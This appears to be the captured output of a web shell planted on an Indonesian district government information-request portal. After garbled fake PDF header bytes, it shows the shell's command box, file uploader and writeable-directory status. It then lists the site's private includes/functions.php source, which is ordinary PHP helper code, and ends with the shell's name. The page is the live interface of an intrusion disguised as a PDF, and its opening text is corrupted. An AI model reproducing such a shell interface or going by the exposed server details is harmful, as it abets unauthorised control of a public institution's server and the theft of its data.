%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/includes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/includes/functions.php
<?php
/**
 * Kumpulan helper function bersama.
 * PPID Kabupaten Mamuju Tengah
 */

/**
 * Escape output HTML untuk mencegah XSS.
 */
function e(?string $value): string
{
    return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

/**
 * Ekstrak ID video YouTube (11 karakter) dari berbagai format URL/ID.
 * Menerima: watch?v=, youtu.be/, embed/, shorts/, atau ID mentah.
 * Kembalikan '' bila tidak valid.
 */
function youtube_id_from_url(string $input): string
{
    $input = trim($input);
    if ($input === '') {
        return '';
    }
    // Sudah berupa ID mentah (11 char valid).
    if (preg_match('~^[A-Za-z0-9_-]{11}$~', $input)) {
        return $input;
    }
    if (preg_match('~(?:youtube\.com/(?:watch\?(?:.*&)?v=|embed/|shorts/|live/)|youtu\.be/)([A-Za-z0-9_-]{11})~', $input, $m)) {
        return $m[1];
    }
    return '';
}

/**
 * Bersihkan HTML dari editor (WYSIWYG) — hanya izinkan tag aman, buang event handler
 * & URI javascript:. Dipakai untuk konten kaya (mis. isi berita).
 */
function sanitize_html(string $html): string
{
    $allowed = '<p><br><b><strong><i><em><u><s><ul><ol><li><h2><h3><h4><blockquote><a><span><div>';
    $html = strip_tags($html, $allowed);
    // Buang atribut event handler (onclick, onerror, dst.).
    $html = preg_replace('/\son\w+\s*=\s*("[^"]*"|\'[^\']*\'|[^\s>]+)/i', '', $html);
    // Netralkan URI javascript: pada href/src.
    $html = preg_replace('/(href|src)\s*=\s*(["\'])\s*javascript:[^"\']*\2/i', '$1="#"', $html);
    return trim((string) $html);
}

/**
 * Membuat URL absolut berdasarkan BASE_URL — TANPA ekstensi .php (URL bersih).
 *
 * Ekstensi .php pada nama file dibuang agar tautan tampil bersih
 * (mis. url('profil.php') → /profil, url('berita-detail.php?slug=x') → /berita-detail?slug=x).
 * Segmen 'index' dipetakan ke root direktorinya (index.php → /, admin/index.php → /admin/).
 * Query string (?) dan fragment (#) tetap dipertahankan.
 * Aturan rewrite di .htaccess menerjemahkan URL bersih kembali ke file .php.
 */
function url(string $path = ''): string
{
    $path = ltrim($path, '/');

    // Pisahkan bagian nama file dari query/fragment agar '.php' hanya dibuang dari nama file.
    $cut  = strcspn($path, '?#');
    $file = substr($path, 0, $cut);
    $rest = substr($path, $cut); // '' atau diawali '?' / '#'

    // Buang ekstensi .php, lalu petakan segmen 'index' ke root direktorinya.
    $file = preg_replace('~\.php$~i', '', $file);
    $file = preg_replace('~(^|/)index$~i', '$1', $file);

    return BASE_URL . '/' . ltrim($file . $rest, '/');
}

/**
 * URL aset (gambar, css, js).
 */
function asset(string $path = ''): string
{
    return BASE_URL . '/assets/' . ltrim($path, '/');
}

/**
 * URL aset dengan penanda versi (?v=mtime) untuk cache-busting.
 * Dipakai untuk file yang di-build ulang tetapi namanya tetap (mis. css/app.css),
 * agar browser mengambil versi baru meski cache-nya panjang.
 */
function asset_ver(string $path): string
{
    $full = ROOT_PATH . '/assets/' . ltrim($path, '/');
    $v = is_file($full) ? (string) filemtime($full) : '1';
    return asset($path) . '?v=' . $v;
}

/**
 * Redirect ke URL relatif (terhadap BASE_URL) lalu hentikan eksekusi.
 */
function redirect(string $path): void
{
    header('Location: ' . url($path));
    exit;
}

/**
 * Redirect ke URL absolut apa adanya.
 */
function redirect_to(string $absoluteUrl): void
{
    header('Location: ' . $absoluteUrl);
    exit;
}

/**
 * Set flash message yang tampil sekali pada request berikutnya.
 *
 * @param string $type success|error|info|warning
 */
function set_flash(string $type, string $message): void
{
    $_SESSION['flash'][] = ['type' => $type, 'message' => $message];
}

/**
 * Ambil & hapus semua flash message.
 *
 * @return array<int, array{type:string, message:string}>
 */
function get_flashes(): array
{
    $flashes = $_SESSION['flash'] ?? [];
    unset($_SESSION['flash']);
    return $flashes;
}

/**
 * Ambil nilai dari $_GET dengan default & trim.
 */
function get_param(string $key, string $default = ''): string
{
    return isset($_GET[$key]) ? trim((string) $_GET[$key]) : $default;
}

/**
 * Ambil nilai dari $_POST dengan default & trim.
 */
function post_param(string $key, string $default = ''): string
{
    return isset($_POST[$key]) ? trim((string) $_POST[$key]) : $default;
}

/**
 * Format tanggal Indonesia, contoh: "26 Jun 2026".
 */
function tanggal_id(?string $datetime, bool $withTime = false): string
{
    if (empty($datetime)) {
        return '-';
    }

    $bulan = [
        1 => 'Jan', 2 => 'Feb', 3 => 'Mar', 4 => 'Apr', 5 => 'Mei', 6 => 'Jun',
        7 => 'Jul', 8 => 'Agu', 9 => 'Sep', 10 => 'Okt', 11 => 'Nov', 12 => 'Des',
    ];

    $ts = strtotime($datetime);
    if ($ts === false) {
        return '-';
    }

    $out = (int) date('j', $ts) . ' ' . $bulan[(int) date('n', $ts)] . ' ' . date('Y', $ts);
    if ($withTime) {
        $out .= ', ' . date('H:i', $ts) . ' WITA';
    }
    return $out;
}

/**
 * Format ukuran file menjadi human-readable.
 */
function format_size(int $bytes): string
{
    if ($bytes <= 0) {
        return '0 KB';
    }
    $units = ['B', 'KB', 'MB', 'GB'];
    $i = (int) floor(log($bytes, 1024));
    $i = min($i, count($units) - 1);
    return round($bytes / (1024 ** $i), 1) . ' ' . $units[$i];
}

function format_durasi(int $detik): string
{
    $detik = max(0, $detik);
    $j = intdiv($detik, 3600);
    $m = intdiv($detik % 3600, 60);
    $s = $detik % 60;
    return $j > 0 ? sprintf('%d:%02d:%02d', $j, $m, $s) : sprintf('%d:%02d', $m, $s);
}

function analytics_total_visitors(): int
{
    try {
        return (int) db()->query('SELECT COUNT(*) FROM analytics_visitor')->fetchColumn();
    } catch (Throwable $e) {
        return 0;
    }
}

/**
 * Membuat nomor resi permohonan unik: REQ-YYMMDD-XXX.
 */
function generate_resi(): string
{
    return 'REQ-' . date('ymd') . '-' . strtoupper(substr(bin2hex(random_bytes(3)), 0, 5));
}

/**
 * Membuat nomor resi keberatan: KBR-YYMMDD-XXX.
 */
function generate_resi_keberatan(): string
{
    return 'KBR-' . date('ymd') . '-' . strtoupper(substr(bin2hex(random_bytes(3)), 0, 5));
}

/**
 * Definisi status permohonan: label, warna badge (tailwind), ikon.
 *
 * @return array<string, array{label:string, badge:string, icon:string}>
 */
function status_permohonan_meta(): array
{
    return [
        'verifikasi' => [
            'label' => 'Verifikasi',
            'badge' => 'bg-yellow-50 text-mateng-gold border-yellow-200',
            'icon'  => 'fa-hourglass-half',
        ],
        'diproses' => [
            'label' => 'Diproses',
            'badge' => 'bg-blue-50 text-mateng-blue border-blue-200',
            'icon'  => 'fa-spinner',
        ],
        'selesai' => [
            'label' => 'Selesai',
            'badge' => 'bg-green-50 text-mateng-green border-green-200',
            'icon'  => 'fa-check-circle',
        ],
        'ditolak' => [
            'label' => 'Ditolak',
            'badge' => 'bg-red-50 text-red-600 border-red-200',
            'icon'  => 'fa-times-circle',
        ],
    ];
}

/**
 * Render badge HTML untuk status permohonan.
 */
function badge_status(string $status): string
{
    $meta = status_permohonan_meta();
    $info = $meta[$status] ?? [
        'label' => ucfirst($status),
        'badge' => 'bg-slate-100 text-slate-600 border-slate-200',
        'icon'  => 'fa-circle',
    ];

    return sprintf(
        '<span class="inline-flex items-center gap-1.5 px-2.5 py-1 rounded-full text-xs font-semibold border %s">'
        . '<i class="fas %s text-[10px]"></i> %s</span>',
        $info['badge'],
        $info['icon'],
        e($info['label'])
    );
}

/**
 * Render deretan bintang rating (1..5) sebagai ikon FontAwesome.
 *
 * @param int|float $rating Nilai 0..5.
 * @param string    $size   Kelas ukuran Tailwind, mis. 'text-base'.
 */
function render_stars($rating, string $size = 'text-base'): string
{
    $rating = (int) round((float) $rating);
    $rating = max(0, min(5, $rating));
    $out = '<span class="inline-flex items-center gap-0.5 text-mateng-gold ' . $size . '">';
    for ($i = 1; $i <= 5; $i++) {
        $out .= '<i class="' . ($i <= $rating ? 'fas' : 'far') . ' fa-star"></i>';
    }
    $out .= '</span>';
    return $out;
}

/**
 * Potong teks dengan ellipsis.
 */
function excerpt(?string $text, int $length = 120): string
{
    $text = trim(strip_tags((string) $text));
    // Gunakan fungsi multibyte bila tersedia, jika tidak jatuh ke fungsi standar.
    if (function_exists('mb_strlen')) {
        if (mb_strlen($text) <= $length) {
            return $text;
        }
        return mb_substr($text, 0, $length) . '…';
    }
    if (strlen($text) <= $length) {
        return $text;
    }
    return substr($text, 0, $length) . '…';
}

/**
 * Membuat slug URL-friendly dari sebuah teks.
 */
function slugify(string $text): string
{
    $text = strtolower(trim($text));
    $text = preg_replace('/[^a-z0-9]+/', '-', $text);
    return trim($text, '-') ?: 'item';
}

/**
 * Validasi format email sederhana.
 */
function is_valid_email(string $email): bool
{
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

/**
 * Memetakan nama warna kategori ke kelas Tailwind (untuk ikon & teks).
 *
 * @return array{icon_bg:string, icon_text:string, link:string}
 */
function kategori_warna(string $warna): array
{
    return match ($warna) {
        'blue'  => ['icon_bg' => 'bg-blue-50',  'icon_text' => 'text-mateng-blue',  'link' => 'text-mateng-blue hover:text-sky-700'],
        'red'   => ['icon_bg' => 'bg-red-50',   'icon_text' => 'text-red-600',      'link' => 'text-red-600 hover:text-red-700'],
        'green' => ['icon_bg' => 'bg-green-50', 'icon_text' => 'text-mateng-green', 'link' => 'text-mateng-green hover:text-green-800'],
        'gold'  => ['icon_bg' => 'bg-yellow-50','icon_text' => 'text-mateng-gold',  'link' => 'text-mateng-gold hover:text-yellow-700'],
        'slate' => ['icon_bg' => 'bg-slate-100','icon_text' => 'text-slate-600',    'link' => 'text-slate-600 hover:text-slate-800'],
        default => ['icon_bg' => 'bg-slate-100','icon_text' => 'text-slate-600',    'link' => 'text-slate-600 hover:text-slate-800'],
    };
}

/**
 * Menentukan ikon FontAwesome berdasarkan ekstensi file.
 */
function file_icon(string $filename): string
{
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return match ($ext) {
        'pdf'                       => 'fa-file-pdf text-red-500',
        'doc', 'docx'               => 'fa-file-word text-blue-500',
        'xls', 'xlsx'               => 'fa-file-excel text-green-600',
        'ppt', 'pptx'               => 'fa-file-powerpoint text-orange-500',
        'jpg', 'jpeg', 'png', 'gif' => 'fa-file-image text-purple-500',
        'zip', 'rar'                => 'fa-file-archive text-amber-600',
        default                     => 'fa-file text-slate-400',
    };
}

Kontol Shell Bypass